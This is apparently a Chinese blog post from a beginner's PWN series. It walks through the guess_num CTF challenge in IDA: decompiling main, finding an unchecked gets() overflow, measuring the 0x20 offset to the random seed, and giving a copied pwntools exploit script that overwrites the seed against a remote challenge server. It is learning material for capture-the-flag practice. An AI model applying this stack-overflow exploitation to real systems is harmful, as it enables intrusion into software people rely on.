PWN头秃之旅 - 2.IDA的使用

接着做上一篇的pwn新手第一题guess_num,接下来要用到另一个工具IDA。

IDA(Interactive Disassembler):是一款静态反编译软件,这是官网的介绍:

The IDA Disassembler and Debugger is an interactive, programmable, extensible, multi-processor disassembler hosted on Windows, Linux, or Mac OS X. IDA has become the de-facto standard for the analysis of hostile code, vulnerability research and commercial-off-the-shelf validation.

 

用IDA生成伪代码

用IDA打开程序,首先咱们要查看main的伪代码,为啥要查看伪代码呢?因为咱看不懂汇编,只能通过伪代码看懂程序的逻辑,看懂了程序的逻辑才能找到解题的突破口~

网上很多地方写的是按F5来生成伪代码,具体步骤没有写对小白很不友好,自己摸索了下,步骤如下:

1. 双击左边函数窗口中的main,打开view窗口,view窗口生成的是main的天书,哦不,是汇编代码:

PWN头秃之旅 - 2.IDA的使用_第1张图片

2. 鼠标放在view窗口的main那一行,按F5:

PWN头秃之旅 - 2.IDA的使用_第2张图片

3. 成功生成main的伪代码:

PWN头秃之旅 - 2.IDA的使用_第3张图片

main函数的完整伪代码:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  FILE *v3; // rdi
  const char *v4; // rdi
  int v6; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v8; // [rsp+Ch] [rbp-34h]
  char v9; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v3 = stderr;
  setbuf(stderr, 0LL);
  v6 = 0;
  v8 = 0;
  *(_QWORD *)seed = sub_BB0(v3, 0LL);
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");
  gets(&v9);
  v4 = (const char *)seed[0];
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v8 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v6);
    puts("---------------------------------");
    if ( v6 != v8 )
    {
      puts("GG!");
      exit(1);
    }
    v4 = "Success!";
    puts("Success!");
  }
  sub_C3E(v4);
  return 0LL;
}
View Code

这个程序的关键部分是:

1. 输入一个数字和程序生成的随机数不相等时,就退出并输出"GG"。这个程序我们是无法猜到正确数字的,因为不知道生成随机数的种子seed的值是多少。。。

PWN头秃之旅 - 2.IDA的使用_第4张图片 

2. 输入数字和随机数相等时,进入sub_C3E就能拿到flag,sub_C3E的伪代码如下:

__int64 sub_C3E()
{
  printf("You are a prophet!\nHere is your flag!");
  system("cat flag");
  return 0LL;
}
View Code

 

用IDA查看堆栈

srand(seed[0])前面的gets函数传入参数v8,类型是char,这里gets没有校验参数的长度。所以gets的输入参数就是突破点,write up给出的思路是用gets的参数覆盖seed,然后设置seed的值,这样生成随机数的种子就是已知的了。

注:gets() 函数的功能是从输入缓冲区中读取一个字符串存储到字符指针变量 str 所指向的内存空间。

那么,怎么用gets的参数覆盖seed的值呢?为什么gets的参数能覆盖seed的值呢?

main函数在开头定义了6个参数,gets的入参v8位置在第四个,seed定义在第5个,我们知道,在参数定义的时候,内存会为参数开辟存储空间,我们先找到v8和seed在内存中的存储位置,步骤如下:

1. 将main函数切换到文本视图,在view窗口右键选择“文本视图”即可:

PWN头秃之旅 - 2.IDA的使用_第5张图片

PWN头秃之旅 - 2.IDA的使用_第6张图片

2.找到v8和seed在栈中的位置

切到main的伪代码视图,双击定义v8的地方:

PWN头秃之旅 - 2.IDA的使用_第7张图片

找到v8在栈中的位置:

 

同理,找到seed在栈中的位置

 

 3. 计算字符覆盖数

seed和v8之前隔了0x20个位置,注意内存地址是用16进制表示的!

能看懂网上的wirte up并且复现到这一步,还是要归功于咱屡败屡战的经典栈溢出实验。汇编,内存地址,地址覆盖这些基础知识都是在这个实验中学到的,如果没有这个实验,我可能连现成的wirte up都看不懂(给你答案你却不知道怎么抄的感觉>_<)

最后编写脚本(网上copy来的,本人不会写,依然这么理直气壮哈哈哈):

from pwn import *
from ctypes import *
 
a = remote('220.249.52.133',51754)
payload = 'a' * 0x20 + p32(1)
print "payload"

a.recvuntil("Your name:")
a.sendline(payload)

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

 
libc.srand(1)
for i in range(10):
    a.sendlineafter("number:",str(libc.rand()%6+1))
 
print a.recvall()
View Code

运行脚本,拿到flag:

PWN头秃之旅 - 2.IDA的使用_第8张图片

 

如需转载,请注明出处,这是对他人劳动成果的尊重~

 

你可能感兴趣的:(PWN头秃之旅 - 2.IDA的使用)